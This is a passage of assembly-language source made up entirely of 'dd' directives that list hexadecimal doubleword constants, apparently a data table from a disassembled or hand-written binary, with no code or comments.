0B3EED8Ch, 0EF8CEF8Ch, 101F28Ch dd 0F66F38Ch, 1066F38Ch, 4501F48Ch, 2202F48Ch, 109BFB8Ch dd 1202FB8Ch, 3601FC8Ch, 87AFD8Ch, 4284208Ch, 33CC4C8Ch dd 0B7014D8Ch, 20014D8Ch, 3E024E8Ch, 3E034E8Ch, 8024F8Ch dd 82C1508Ch, 180588Ch, 13E75A8Ch, 0C005D8Ch, 0F005D8Ch dd 0D525E8Ch, 0E525E8Ch, 0C04618Ch, 0D04618Ch, 200638Ch dd 201638Ch, 101018Dh, 140A648Dh, 320F648Dh, 0FB96688Dh dd 3056C8Dh, 43EA0B8Dh, 44EA0B8Dh, 5A04708Dh, 504738Dh dd 164758Dh, 464758Dh, 9230C8Dh, 1A3E0C8Dh, 208788Dh, 308788Dh dd 72107A8Dh, 4647B8Dh, 46E7B8Dh, 8027F8Dh, 401818Dh, 2D20D8Dh dd 2FA0D8Dh, 11FA828Dh, 1C80838Dh, 1C03838Dh, 204848Dh dd 1800E8Dh, 2018C8Dh, 2028E8Dh, 1030F8Dh, 4400968Dh, 4400978Dh dd 4480978Dh, 5E99978Dh, 44009A8Dh, 44009B8Dh, 23469B8Dh dd 4F4108Dh, 0C964A18Dh, 0FB65A28Dh, 0FA01A38Dh, 764A48Dh dd 0D918A48Dh, 0A01A58Dh, 901A58Dh, 7BCA68Dh, 332CA78Dh dd 342CA78Dh, 55FAE8Dh, 75FAE8Dh, 11FB08Dh, 0B01128Dh dd 0C01128Dh, 5021BB8Dh, 4B01138Dh, 0C805C38Dh, 980C68Dh dd 688C68Dh, 0E0FC78Dh, 50FC78Dh, 101028Dh, 4A16028Dh dd 1F01148Dh, 301C98Dh, 601C98Dh, 1FF8CA8Dh, 20F8CA8Dh dd 0CFECB8Dh, 1601D18Dh, 304158Dh, 0F0AD28Dh, 190AD28Dh dd 0F7DD38Dh, 0F90D38Dh, 0F84BD38Dh, 4502D48Dh, 5102D48Dh dd 90FCD68Dh, 345D78Dh, 301D88Dh, 0D01D98Dh, 0F01D98Dh dd 0B10D98Dh, 6401DA8Dh, 6801DA8Dh, 1E64DB8Dh, 1E04DB8Dh dd 20C0168Dh, 21C0168Dh, 140E08Dh, 201E18Dh, 501E18Dh dd 0B504E48Dh, 101E88Dh, 180E98Dh, 29FE98Dh, 201EE8Dh dd 20C188Dh, 104188Dh, 40AF18Dh, 26BF18Dh, 406F18Dh, 6409F28Dh dd 3209F28Dh, 0B80F48Dh, 0A07F48Dh, 0B07F48Dh, 0DC28F58Dh dd 7302F68Dh, 280F88Dh, 501FA8Dh, 701FA8Dh, 301FC8Dh, 496FC8Dh dd 0B01FE8Dh, 1401A8Dh, 5401A8Dh, 13021C8Dh, 87D1E8Dh dd 87421E8Dh, 26F1F8Dh, 11C0208Dh, 10D0218Dh, 1001228Dh dd 1001238Dh, 5001238Dh, 6B0A258Dh, 0ADA258Dh, 602268Dh dd 702268Dh, 20D278Dh, 2904048Dh, 107048Dh, 230A288Dh dd 0FA01298Dh, 1012B8Dh, 0A2C2B8Dh, 28052B8Dh, 1012C8Dh dd 2012C8Dh, 1012D8Dh, 64052D8Dh, 1082E8Dh, 3C082E8Dh dd 1462F8Dh, 28462F8Dh, 1103308Dh, 303308Dh, 3303308Dh dd 0E9C1318Dh, 0CC4058Dh, 0BA1328Dh, 308338Dh, 408338Dh dd 108358Dh, 308358Dh, 301368Dh, 8164368Dh, 32C0378Dh dd 33C0378Dh, 21F388Dh, 31F388Dh, 101398Dh, 601398Dh, 9E73A8Dh dd 0B01068Dh, 2A03C8Dh, 5A03C8Dh, 17013D8Dh, 20013D8Dh dd 5013E8Dh, 0A043F8Dh, 3703408Dh, 5403408Dh, 0C812428Dh dd 101458Dh, 1201078Dh, 1501478Dh, 1601478Dh, 0A03488Dh dd 0C03488Dh, 1084B8Dh, 25E14D8Dh, 4804F8Dh, 3210508Dh dd 0B19508Dh, 0A08508Dh, 0F210528Dh, 180558Dh, 26E578Dh dd 140598Dh, 141598Dh, 1025A8Dh, 2235D8Dh, 0C01638Dh, 4F9E638Dh dd 202638Dh, 51E668Eh, 106688Eh, 250688Eh, 5866B8Eh, 27B86C8Eh dd 4016D8Eh, 2836E8Eh, 0FE836E8Eh, 1A42808Eh, 7100D8Eh dd 1901828Eh, 901848Eh, 0E04878Eh, 103898Eh, 18188B8Eh dd 0CD0A0E8Eh, 1E27928Eh, 0A0F938Eh, 90F938Eh, 23E988Eh dd 1F89B8Eh, 4639B8Eh, 0DF019C8Eh, 0A029E8Eh, 14029E8Eh dd 5C89E8Eh, 0B02A08Eh, 205A58Eh, 405A58Eh, 1001A98Eh dd 1E02118Eh, 0B81B18Eh, 0C02B18Eh, 3240C88Eh, 0DD0CD8Eh dd 0DE8CD8Eh, 0A40CE8Eh, 490CF8Eh, 590CF8Eh, 905D98Eh dd 4DFA168Eh, 147DDE8Eh, 157DDE8Eh, 133E38Eh, 101E68Eh dd 3C7E68Eh, 1BDE88Eh, 500FE98Eh, 4740EE8Eh, 0AC8F08Eh dd 64D3F68Eh, 0F64038Eh, 0FE64038Eh, 0F64208Eh, 0AC9278Eh dd 1EC9278Eh, 1F22A8Eh, 3401338Eh, 3501338Eh, 158348Eh dd 901378Eh, 1673A8Eh, 2673A8Eh, 64643C8Eh, 3201408Eh dd 6403428Eh, 6503428Eh, 2783498Eh, 2883498Eh, 3014A8Eh dd 4014A8Eh, 1014D8Eh, 5014D8Eh, 4284E8Eh, 401578Eh, 1502598Eh dd 6403598Eh, 303098Eh, 503098Eh, 13645A8Eh, 44645A8Eh dd 1245C8Eh, 12275C8Eh, 0F415C8Eh, 2925E8Eh, 9F0638Eh dd 270658Fh, 208698Fh, 25336A8Fh, 3FD6B8Fh, 5FD6B8Fh, 2176C8Fh dd 1016E8Fh, 0FE406F8Fh, 0FE596F8Fh, 0FC74748Fh, 0D0E758Fh dd 4206758Fh, 963778Fh, 1FE798Fh, 0FECB7E8Fh, 0DCD37E8Fh dd 240808Fh, 340808Fh, 0D2C9818Fh, 810828Fh, 901848Fh dd 5109E8Fh, 6109E8Fh, 0CD08A08Fh, 0AF8A18Fh, 2F8A18Fh dd 50C9A58Fh, 0FB52A68Fh, 0FC52A68Fh, 0B01A78Fh, 202A78Fh dd 630CA98Fh, 1FEA98Fh, 710AE8Fh, 3B0B08Fh, 6501B18Fh dd 18F6B68Fh, 19F6B68Fh, 1998B78Fh, 1A98B78Fh, 460BBA8Fh dd 6701C08Fh, 301C38Fh, 601C38Fh, 1C8C58Fh, 9680C88Fh dd 9880C88Fh, 3340CD8Fh, 3440CD8Fh, 401CF8Fh, 980CD28Fh dd 9A0CD28Fh, 4264D98Fh, 0A81D98Fh, 4281D98Fh, 401DC8Fh dd 1B9E08Fh, 0CA43E28Fh, 1501E38Fh, 330E38Fh, 601E58Fh dd 4301E78Fh, 0C3F9E78Fh, 101E98Fh, 0D20EA8Fh, 420EA8Fh dd 1002EB8Fh, 402EB8Fh, 0E01EC8Fh, 0F01EC8Fh, 3A02ED8Fh dd 4202ED8Fh, 101EF8Fh, 1901EF8Fh, 3E48F48Fh, 100F68Fh dd 0B101F88Fh, 303FA8Fh, 403FA8Fh, 350FC8Fh, 1402FE8Fh dd 214FE8Fh, 64202B8Fh, 65202B8Fh, 1802C8Fh, 101308Fh dd 1914328Fh, 0A02348Fh, 1202348Fh, 0A1C348Fh, 4EE358Fh dd 5EE358Fh, 701368Fh, 901418Fh, 0D101588Fh, 5101588Fh dd 70E598Fh, 80E598Fh, 16825A8Fh, 26825A8Fh, 39825A8Fh dd 3A825A8Fh, 41015C8Fh, 9A05D8Fh, 8308608Fh, 198F618Fh dd 1B8F618Fh, 0A187690h, 14187690h, 1087890h, 5AC77A90h dd 5DC77A90h, 3287D90h, 0A017E90h, 124B7E90h, 0F0018D90h dd 5C28D90h, 6C28D90h, 0AFF0F90h, 0BFF0F90h, 3401090h dd 2114A090h, 2115A090h, 0E60AA290h, 0AFB0A690h, 0B1B0A690h dd 300AA790h, 606AD90h, 4706AD90h, 1180AE90h, 802AF90h dd 0FAF8C190h, 1C8C690h, 33E1C690h, 22ACA90h, 10BCB90h dd 441CC90h, 164D390h, 0C64D490h, 0A04D490h, 0A02D590h dd 102D690h, 0FE05D690h, 372D790h, 472D790h, 101D890h dd 0AFEE490h, 0AFFE490h, 104F390h, 0A0AFB90h, 0A0CFB90h dd 0F15E1A90h, 2011D90h, 2811D90h, 4011E90h, 5802090h dd 6802090h, 1012290h, 1022290h, 0FA012590h, 2012690h dd 3012690h, 2642A90h, 7642A90h, 10A2C90h, 19132C90h, 0C013090h dd 1B040590h, 10F3390h, 2053390h, 2FB3590h, 2033690h, 11FE3990h dd 12FE3990h, 32FE3990h, 0E013A90h, 8AA03A90h, 10103E90h dd 3E03F90h, 6E03F90h, 10A4190h, 10B4190h, 0CD464990h dd 8154A90h, 8164A90h, 1A044B90h, 8805090h, 0C8615190h dd 1645290h, 29645290h, 8105390h, 9105390h, 5A0A5590h dd 1E145590h, 1015690h, 1285990h, 4D9E0990h, 4E9E0990h dd 3805A90h, 14685C90h, 15685C90h, 63145C90h, 15095C90h dd 16095C90h, 3E005F90h, 0C0C06090h, 10010191h, 3010191h dd 1E056491h, 3207591h, 4207591h, 10A0C91h, 52A0D91h, 0A3C0E91h dd 32441291h, 1011391h, 0DC011391h, 15D70291h, 0C7E1491h dd 0F34BE191h, 201E491h, 29CE591h, 0AFDE891h, 0FDFDEA91h dd 0F8E0EC91h, 0F9E0EC91h, 1EDED91h, 202EE91h, 1401F991h dd 0B02FD91h, 8B02FD91h, 0CB02FD91h, 4B02FD91h, 0FD461C91h dd 1821D91h, 1010391h, 4010391h, 86A01E91h, 8AA01E91h dd 0FD042191h, 0A7012991h, 7D22C91h, 5023491h, 6023491h dd 21E3A91h, 11A3D91h, 2013E91h, 3804091h, 0C044291h, 0E6274591h dd 0DE4F4891h, 0A674A91h, 2674D91h, 4674D91h, 14085191h dd 2025591h, 0EAD25891h, 3EA5991h, 3265991h, 0CB830991h dd 6905B91h, 2125C91h, 0FDD25D91h, 1106692h, 2106692h dd 0CFE6792h, 0B016B92h, 0B656B92h, 0C8C86C92h, 2026E92h dd 2207192h, 6207192h, 11087392h, 12087392h, 2017492h dd 5017492h, 0C3847A92h, 0FA8D7C92h, 1027E92h, 1567E92h dd 83648192h, 0A0EA8492h, 14028592h, 15028592h, 0A0088692h dd 3018892h, 5018892h, 5408992h, 3FE8B92h, 0D20F8D92h dd 86108D92h, 0D048E92h, 2409192h, 3409192h, 3359792h dd 9E49892h, 1E909992h, 9B019B92h, 45019B92h, 3509D92h dd 1D05A392h, 305A392h, 405A392h, 20AA492h, 308A492h, 901A592h dd 181A792h, 191A792h, 101A992h, 1801A992h, 650EAB92h dd 660EAB92h, 181AF92h, 381AF92h, 501B092h, 502B092h, 0A01B492h dd 0C09B692h, 42A3BA92h, 404BA92h, 3D8BB92h, 9E0BB92h dd 1021392h, 307BF92h, 100C192h, 1E50C392h, 0A1BC592h dd 0B1BC592h, 65B50292h, 200CA92h, 0C801CB92h, 1E0AD592h dd 0FE0FD992h, 8316DB92h, 0AEFDC92h, 1578DE92h, 1407DE92h dd 102E292h, 401E392h, 100AE492h, 201E592h, 180E792h, 680E792h dd 9702F592h, 1FAF692h, 41FEF992h, 42FEF992h, 2413092h dd 3413092h, 1020592h, 2503B92h, 13E0692h, 5EA3F92h, 6F23F92h dd 0B0A4092h, 0A60A4092h, 17E94192h, 4D070792h, 58080792h dd 41014A92h, 1FE4B92h, 5EB75392h, 3C65392h, 32015592h dd 2015692h, 0C8015692h, 3CFF5792h, 2035792h, 4015892h dd 2015E92h, 0C015F92h, 64806092h, 9806092h, 2C046392h dd 0D2DE6693h, 0DCDE6693h, 0E6DE6693h, 5016A93h, 5EE6D93h dd 373B6E93h, 4927193h, 5927193h, 0A6E7893h, 0A017A93h dd 0B017A93h, 16017B93h, 17017B93h, 0C8017C93h, 0C9017C93h dd 3C637D93h, 42637D93h, 1017E93h, 2017E93h, 1F07E93h dd 2F07E93h, 0B107F93h, 90127F93h, 2018193h, 1C80D93h dd 1018593h, 0F028693h, 0FAFA8893h, 32FC8893h, 7018993h dd 1E0A8A93h, 280A8A93h, 1818B93h, 0A70A0E93h, 4F808C93h dd 1028F93h, 0EE039093h, 2289193h, 2019993h, 3019993h dd 0CA079A93h, 1019B93h, 1019D93h, 1829D93h, 1029D93h dd 0A80A093h, 0B80A093h, 2363A093h, 401A193h, 201A293h dd 0B464A293h, 6402A293h, 1601A393h, 2910AC93h, 1A01AD93h dd 401AE93h, 501AE93h, 0F6FAF93h, 501B293h, 3401B293h dd 0A05B693h, 41DBBA93h, 280BC93h, 4C0BC93h, 4302BF93h dd 845C493h, 2C8C593h, 2CC8C593h, 8255CD93h, 105CE93h dd 14A3D093h, 15A3D093h, 1403D093h, 1503D093h, 28ED193h dd 0C021593h, 0E021593h, 1FDD293h, 0C32D393h, 0F32D393h dd 101D593h, 401D793h, 201E193h, 2916E193h, 5E16E193h dd 0D30E193h, 0A01E493h, 1334E493h, 110E693h, 10CE793h dd 0C10E893h, 30AF993h, 2104FB93h, 0A06FB93h, 2501FC93h dd 0B0AFD93h, 280AFD93h, 2F0AFD93h, 0B011A93h, 1121B93h dd 22001C93h, 27001C93h, 370A1D93h, 60A1D93h, 0A501F93h dd 11581F93h, 14012093h, 9012093h, 50F2193h, 36402993h dd 3C402993h, 3D402993h, 220F2D93h, 230F2D93h, 1502E93h dd 34323193h, 1503493h, 32063593h, 20303793h, 20603793h dd 4563893h, 42720693h, 6204093h, 3014193h, 1084293h, 8084693h dd 1B44C93h, 1E910893h, 20910893h, 2020893h, 3020893h dd 2085093h, 6635093h, 1F05193h, 3F05193h, 0A025393h, 3025393h dd 0F0C85493h, 14805693h, 15805693h, 1015793h, 2015793h dd 0C9015893h, 0CC015893h, 9010993h, 5015B93h, 6085B93h dd 0F035C93h, 14035C93h, 271E5E93h, 4026093h, 0A016193h dd 1076293h, 2076293h, 64A06494h, 28206494h, 2016C94h dd 1E0D6F94h, 53107294h, 0A047594h, 1647E94h, 2647E94h dd 6447F94h, 0A50D8694h, 0B118894h, 3C4C8994h, 464C8994h dd 0FC0F8D94h, 0FD0F8D94h, 18168E94h, 31E9694h, 2BEA494h dd 11CA694h, 0C884A794h, 83CAA794h, 84CAA794h, 0A08AA94h dd 210B694h, 1638B794h, 1FB0B894h, 190BBB94h, 9682BB94h dd 101BC94h, 0FE01BC94h, 0A01C494h, 0FD9FC594h, 101C994h dd 1D01CA94h, 3397CB94h, 3497CB94h, 366CC94h, 267CC94h dd 102CD94h, 0D881CE94h, 1D20CE94h, 101CF94h, 126CF94h dd 101D194h, 101D394h, 801D494h, 201D594h, 901D594h, 0D16D694h dd 101D794h, 201D894h, 1501D894h, 0F02D994h, 1E02D994h dd 13CDA94h, 201DC94h, 211E094h, 313E094h, 901E194h, 902E194h dd 101E294h, 0A01E494h, 401E494h, 66E1E694h, 301E794h dd 201E894h, 30FEA94h, 32DEA94h, 502EC94h, 933ED94h, 230EE94h dd 0F001EF94h, 3C01EF94h, 6420F194h, 7CF7F694h, 7EF7F694h dd 201F794h, 41FAF994h, 31D0494h, 2050494h, 0A223894h dd 0B223894h, 0C0E3B94h, 0B133B94h, 5000694h, 0A013D94h dd 0F013D94h, 0C8F94E94h, 0C9F94E94h, 0C8FF4E94h, 0C9FF4E94h dd 46504F94h, 4E504F94h, 15800894h, 33105194h, 0B345194h dd 1015594h, 3015594h, 4085894h, 7085894h, 3DD0A95h, 3016595h dd 3A06A95h, 64057295h, 65057295h, 1017595h, 20C7995h dd 40C7995h, 11067F95h, 100A8295h, 3C08495h, 3028495h dd 64018895h, 63018895h, 1018995h, 3018995h, 1198A95h dd 64018B95h, 0C80B8B95h, 2029095h, 5379495h, 37379495h dd 60B9595h, 1030F95h, 1DD19695h, 19FE9695h, 9019795h dd 5019995h, 1209A95h, 16209A95h, 1C89B95h, 2C89B95h, 3019C95h dd 64029C95h, 65029C95h, 0B049C95h, 3019D95h, 501A195h dd 101A495h, 1BBA495h, 0B0BA895h, 0FC82A895h, 0B8AA895h dd 1823A895h, 80BEAA95h, 2C0AB95h, 260AB95h, 101AD95h dd 401AD95h, 5D3AE95h, 5D5AE95h, 101AF95h, 1FDB095h, 0AC01395h dd 1E0AC995h, 3231D395h, 0F5BD895h, 6400D995h, 470DA95h dd 204DC95h, 0B08DC95h, 0C201DD95h, 0B64E995h, 10CEA95h dd 321EEB95h, 101EC95h, 64A0EF95h, 0F0A0EF95h, 20C1895h dd 2E0F295h, 0DC78FE95h, 2701C95h, 0F012795h, 9020495h dd 3012995h, 0A022C95h, 0C022C95h, 47043095h, 48043095h dd 1103695h, 51E3795h, 0FA3C3F95h, 1024195h, 0C104495h dd 35004995h, 1014A95h, 1004B95h, 2014C95h, 4014C95h, 1014D95h dd 18A4F95h, 2035295h, 3035295h, 18015995h, 2015A95h, 14016195h dd 1A016195h, 6016496h, 2026496h, 3026496h, 6036496h, 2ED6596h dd 39F86596h, 0B026C96h, 0B046C96h, 19A0B96h, 64200C96h dd 414C0C96h, 0C047C96h, 0D047C96h, 0A108096h, 0A628096h dd 10E8396h, 20E8396h, 19018C96h, 1E078C96h, 2108F96h dd 2508F96h, 2009196h, 22D9396h, 0F0449396h, 7010F96h dd 1409696h, 0CAD89F96h, 0CED89F96h, 2301A096h, 2364A096h dd 106A196h, 0FC06A196h, 301A296h, 701A296h, 1601A396h dd 282A396h, 148DA396h, 0B02A396h, 240A496h, 341A496h dd 0A44CA496h, 101A596h, 301A996h, 401A996h, 1F3AD96h dd 330CB096h, 201B296h, 201B696h, 0D204BC96h, 0D404BC96h dd 1081396h, 0FA081396h, 0F265BE96h, 250BF96h, 10AC396h dd 810AC396h, 401C596h, 8186C696h, 81EDC696h, 0B01C796h dd 101C896h, 208CA96h, 0A01CB96h, 1C16CB96h, 18E0CB96h dd 125CC96h, 128CC96h, 4102CF96h, 1A0AD096h, 1504D196h dd 1558D196h, 1410D496h, 1510D496h, 1202D596h, 1302D596h dd 301D696h, 2204D696h, 8701D996h, 20AD996h, 0A011696h dd 104E396h, 8128E496h, 412BE496h, 2A80E896h, 2D80E896h dd 1B80ED96h, 0DB0ED96h, 3306F196h, 1A0F396h, 140F396h dd 6409F496h, 0E209F496h, 101FA96h, 6A80FC96h, 6B80FC96h dd 132FD96h, 232FD96h, 2ADFE96h, 3ADFE96h, 0FB011A96h dd 0FC011A96h, 32FE1A96h, 3AFE1A96h, 1011B96h, 0EFB1D96h dd 2151E96h, 20D1F96h, 1042096h, 0BFD2396h, 4802596h, 0AFB2596h dd 2D22696h, 2322696h, 2482796h, 64BE2A96h, 65BE2A96h dd 2012B96h, 1022B96h, 32C2E96h, 42C2E96h, 0BAC2F96h, 10A3196h dd 1F0A3196h, 14643496h, 0FC203696h, 0FD203696h, 2043796h dd 4043796h, 1643996h, 30C3B96h, 3043B96h, 3043D96h, 5043D96h dd 1023F96h, 4064096h, 1014196h, 6034196h, 3204396h, 0B024596h dd 0B010796h, 0C010796h, 1584796h, 6305396h, 7045496h dd 0A6085496h, 3015696h, 14F85796h, 8005996h, 1800996h dd 3205A96h, 6205A96h, 21C5B96h, 0FA105D96h, 0FCF05D96h dd 2006096h, 38C6196h, 48C6196h, 1010197h, 1020197h, 0D046497h dd 1146597h, 2146597h, 0B106797h, 0C106797h, 1FA7C97h dd 1017D97h, 1208297h, 2C88497h, 0C6328497h, 2328497h dd 1F88797h, 82648897h, 7048D97h, 37018F97h, 0CF08F97h dd 15FE9097h, 16FE9097h, 1849497h, 3DE9A97h, 5DE9A97h dd 15809D97h, 1019F97h, 79019F97h, 15A9F97h, 0BC0A097h dd 0CC0A097h, 0B2CA197h, 101A497h, 701A497h, 0A1FA997h dd 0C3031197h, 2041197h, 3F0AA97h, 4F0AA97h, 188B697h dd 103BC97h, 203BC97h, 1900BD97h, 190DBD97h, 0FAFEBE97h dd 0A01BF97h, 29A1C197h, 2AA1C197h, 2500C497h, 2600C497h dd 2500C597h, 4400C597h, 0A244C597h, 2500C697h, 4400C697h dd 4400C997h, 249C997h, 4400CA97h, 4400CB97h, 0B47D497h dd 6EB4D697h, 78B4D697h, 0A4F5697h, 1095797h, 22025C97h dd 23025C97h, 2025E97h, 5016197h, 1FC6197h, 27D6397h, 37D6397h dd 2FA6397h, 0D0010198h, 16010198h, 1010A98h, 65656598h dd 1086598h, 67676798h, 1086798h, 2026998h, 35016A98h dd 1807098h, 6017598h, 8017598h, 5EB8798h, 6E508898h, 78508898h dd 0C91C8C98h, 0E50A9498h, 2289598h, 1B1E0F98h, 20290F98h dd 29290F98h, 1609898h, 7029C98h, 30109E98h, 30029E98h dd 30249E98h, 101A098h, 301A098h, 783BA098h, 0E89FA398h dd 0E99FA398h, 0EC9FA398h, 3301298h, 1150298h, 64FD0298h dd 0A40E298h, 940E298h, 122E498h, 1022E498h, 1FA0398h dd 2FA0398h, 78021E98h, 2E31F98h, 3E31F98h, 1022198h, 3140498h dd 13E2A98h, 13800598h, 15800598h, 2023498h, 5A54198h dd 0A214198h, 1734298h, 1744298h, 1004798h, 2004798h, 0C104A98h dd 0E104A98h, 1804B98h, 2804B98h, 82004C98h, 4E804E98h dd 4F804E98h, 69694F98h, 0C9385098h, 0A015198h, 11015198h dd 19015198h, 8025398h, 3085398h, 2FD5498h, 0E855598h dd 3035598h, 5015898h, 3D015898h, 0A0F5998h, 0F91C0998h dd 10B5B98h, 0A015C98h, 5FD5D98h, 0A015E98h, 18015E98h dd 0A025E98h, 2205F98h, 3816098h, 35256098h, 32016198h dd 14206298h, 6016398h, 0C020199h, 5600A99h, 6600A99h dd 2016899h, 2886899h, 64646999h, 1046A99h, 9C296B99h dd 1C296B99h, 0B0A6D99h, 30B0B99h, 0A226E99h, 0AE26F99h dd 0FE26F99h, 15057199h, 1081299h, 0FE011399h, 64FA1399h dd 0E6281399h, 47181499h, 0F5A1899h, 51202199h, 0AC22799h dd 1AC22799h, 5390499h, 1102A99h, 9102A99h, 10502D99h dd 11502D99h, 77FA2E99h, 1025A99h, 0F025A99h, 3055C99h dd 2335E99h, 1016099h, 82880B9Ah, 2880B9Ah, 22880B9Ah dd 42880B9Ah, 62880B9Ah, 2910B9Ah, 2920B9Ah, 2930B9Ah dd 0B1590B9Ah, 0B9590B9Ah, 0A6FA0F9Ah, 0AAFA0F9Ah, 0AEFA0F9Ah dd 0A6FB0F9Ah, 0AAFB0F9Ah, 0AEFB0F9Ah, 0A6FC0F9Ah, 0AAFC0F9Ah dd 0AEFC0F9Ah, 1E69209Ah, 2269209Ah, 1E6B209Ah, 226B209Ah dd 1E6D209Ah, 1671219Ah, 0FE3F219Ah, 181669Bh, 0AF0689Bh dd 0BF0689Bh, 0A02699Bh, 3300D9Bh, 0C801839Bh, 0C861839Bh dd 101879Bh, 820B879Bh, 122899Bh, 1224899Bh, 5018A9Bh dd 7669E9Bh, 2639E9Bh, 201B99Bh, 501B99Bh, 0B02BB9Bh, 14C8C29Bh dd 1414C69Bh, 0C05C69Bh, 200BCE9Bh, 1E0FCE9Bh, 1F64CF9Bh dd 2064CF9Bh, 2164CF9Bh, 90CD29Bh, 0D01D49Bh, 501D49Bh dd 202DF9Bh, 206E19Bh, 0CC0AE29Bh, 501E59Bh, 4501E59Bh dd 437EE59Bh, 0B502E59Bh, 20AE69Bh, 0A14E69Bh, 0E901E99Bh dd 401E99Bh, 1108EE9Bh, 1401F69Bh, 2A6F79Bh, 213F79Bh dd 180FA9Bh, 1288FC9Bh, 1588FC9Bh, 5397FC9Bh, 710FC9Bh dd 201FD9Bh, 0AFFB1F9Bh, 1E03249Bh, 6432259Bh, 90A269Bh dd 7012A9Bh, 59012A9Bh, 2802B9Bh, 14812B9Bh, 17502C9Bh dd 64302D9Bh, 65302D9Bh, 0E1202F9Bh, 0F808309Bh, 642D349Bh dd 352E349Bh, 101359Bh, 201359Bh, 101369Bh, 2FE399Bh, 3FE399Bh dd 1803A9Bh, 6401449Bh, 6501449Bh, 501459Bh, 5FE459Bh dd 5A01079Bh, 3015C9Bh, 2CF0019Ch, 2DF0019Ch, 79C06A9Ch dd 0A02749Ch, 2D4769Ch, 1170C9Ch, 2170C9Ch, 7A010E9Ch dd 704909Ch, 0FA6D929Ch, 101949Ch, 14FA979Ch, 0D2FF999Ch dd 0F2FF999Ch, 3FE119Ch, 205119Ch, 108119Ch, 316129Ch dd 0FA01139Ch, 0FB01139Ch, 201159Ch, 101189Ch, 1011A9Ch dd 10121B9Ch, 10081B9Ch, 1081C9Ch, 32011D9Ch, 101039Ch dd 301039Ch, 801039Ch, 20E239Ch, 11F239Ch, 229239Ch, 1201249Ch dd 1501249Ch, 664279Ch, 0EA052A9Ch, 0FE642B9Ch, 0A802E9Ch dd 3FE309Ch, 6E0B329Ch, 630B329Ch, 301349Ch, 2FE369Ch dd 1083E9Ch, 1A013F9Ch, 64823F9Ch, 4B823F9Ch, 0E91D3F9Ch dd 2FE499Ch, 0A2B44B9Ch, 6E4B4C9Ch, 0FE01509Ch, 401509Ch dd 303509Ch, 8FE539Ch, 101629Ch, 0B04629Ch, 0C918019Dh dd 201649Dh, 22D649Dh, 205669Dh, 210679Dh, 765699Dh, 64416B9Dh dd 1426D9Dh, 0D3386E9Dh, 3426E9Dh, 312719Dh, 101729Dh dd 0C5FD729Dh, 31D769Dh, 41D769Dh, 2DD0C9Dh, 0CB7C7F9Dh dd 1010D9Dh, 7010D9Dh, 416B849Dh, 426B849Dh, 10A889Dh dd 20A889Dh, 8018A9Dh, 5820E9Dh, 6820E9Dh, 2028C9Dh, 0A088E9Dh dd 15FE8F9Dh, 1DC919Dh, 901959Dh, 2C0969Dh, 100979Dh, 200979Dh dd 0CB5F979Dh, 3019E9Dh, 4019E9Dh, 0C0A9F9Dh, 3F8109Dh dd 2FB109Dh, 0C20A09Dh, 201A19Dh, 888A49Dh, 988A49Dh, 10AA99Dh dd 119A99Dh, 201119Dh, 140A119Dh, 0C803AF9Dh, 6501B29Dh dd 6301B39Dh, 103B59Dh, 2A2AB59Dh, 28CB69Dh, 13DB99Dh dd 23DB99Dh, 0A0FBD9Dh, 0F7FE139Dh, 0F8FE139Dh, 2528C19Dh dd 2A28C19Dh, 2005C79Dh, 0F815029Dh, 0A01149Dh, 0C84FC89Dh dd 6463C89Dh, 1EFCD9Dh, 2EBD09Dh, 1001159Dh, 1D3D39Dh dd 0AC0169Dh, 0FC0169Dh, 7DE6169Dh, 0BB2E19Dh, 0A6EE29Dh dd 10CE49Dh, 100A189Dh, 80A189Dh, 402F69Dh, 502F69Dh, 0E20F99Dh dd 0F20F99Dh, 1205199Dh, 305199Dh, 0FB0AFC9Dh, 0FC0AFC9Dh dd 0D01FD9Dh, 22EAFE9Dh, 32EAFE9Dh, 14401A9Dh, 2011B9Dh dd 32011C9Dh, 3E3219Dh, 4E3219Dh, 310069Dh, 5023E9Dh, 1013F9Dh dd 0FD013F9Dh, 0C902409Dh, 3101419Dh, 2164429Dh, 208439Dh dd 308439Dh, 201079Dh, 401079Dh, 0B09469Dh, 2205479Dh dd 5284C9Dh, 58584D9Dh, 0FB004E9Dh, 0FC004E9Dh, 4644F9Dh dd 16FE509Dh, 17FE509Dh, 108569Dh, 0BE8F589Dh, 0BD12589Dh dd 0BE12589Dh, 4008599Dh, 1015B9Dh, 9015B9Dh, 1015C9Dh dd 1045C9Dh, 0AFC5D9Dh, 1015F9Dh, 808629Dh, 4040639Dh dd 4140639Dh, 101669Eh, 6564689Eh, 303689Eh, 4316A9Eh dd 2306B9Eh, 47026C9Eh, 1006D9Eh, 7016E9Eh, 201799Eh, 2017A9Eh dd 9407A9Eh, 2407C9Eh, 41407C9Eh, 64017D9Eh, 0FF87E9Eh dd 10E849Eh, 112849Eh, 1401879Eh, 6401889Eh, 0FD018C9Eh dd 3F608F9Eh, 41608F9Eh, 4E608F9Eh, 0F01909Eh, 103909Eh dd 0E76E919Eh, 0E86E919Eh, 4313939Eh, 0C8C90F9Eh, 141F0F9Eh dd 0C101989Eh, 4101989Eh, 1009B9Eh, 0A9C9C9Eh, 29C9C9Eh dd 1EF9E9Eh, 0EFB0A19Eh, 100A29Eh, 1401A59Eh, 1A01A59Eh dd 3403A59Eh, 0B09A99Eh, 90AAA9Eh, 1540AA9Eh, 120B19Eh dd 104B69Eh, 904B69Eh, 130C19Eh, 278C29Eh, 0C810C39Eh dd 995C49Eh, 1E10C59Eh, 17FC99Eh, 641FCB9Eh, 0E2E1CD9Eh dd 0E6E1CD9Eh, 22E1CD9Eh, 26E1CD9Eh, 291FCF9Eh, 2A1FCF9Eh dd 1E80D09Eh, 0BFAD29Eh, 5FAD29Eh, 1008D79Eh, 208D79Eh dd 0AD0D99Eh, 164DC9Eh, 505DE9Eh, 805DE9Eh, 101DF9Eh, 201DF9Eh dd 301DF9Eh, 2896E39Eh, 2202E39Eh, 0FD0CE49Eh, 2C8E59Eh dd 6564E69Eh, 50CE89Eh, 60CE89Eh, 4608EA9Eh, 540F79Eh dd 4204FB9Eh, 704FB9Eh, 0B500269Eh, 5012A9Eh, 1042A9Eh dd 1A802B9Eh, 8802B9Eh, 44812B9Eh, 5C812B9Eh, 5D812B9Eh dd 7C02B9Eh, 0CA0D2D9Eh, 3122F9Eh, 0D7042F9Eh, 208319Eh dd 4CC329Eh, 2FE349Eh, 4FE349Eh, 3C6A369Eh, 4496399Eh dd 0F62D399Eh, 780F3B9Eh, 97F3D9Eh, 0E01409Eh, 1901409Eh dd 808419Eh, 0C81F479Eh, 64844A9Eh, 4B9E4B9Eh, 2801509Eh dd 3801539Eh, 75015D9Eh, 5015E9Eh, 5585E9Eh, 401609Eh dd 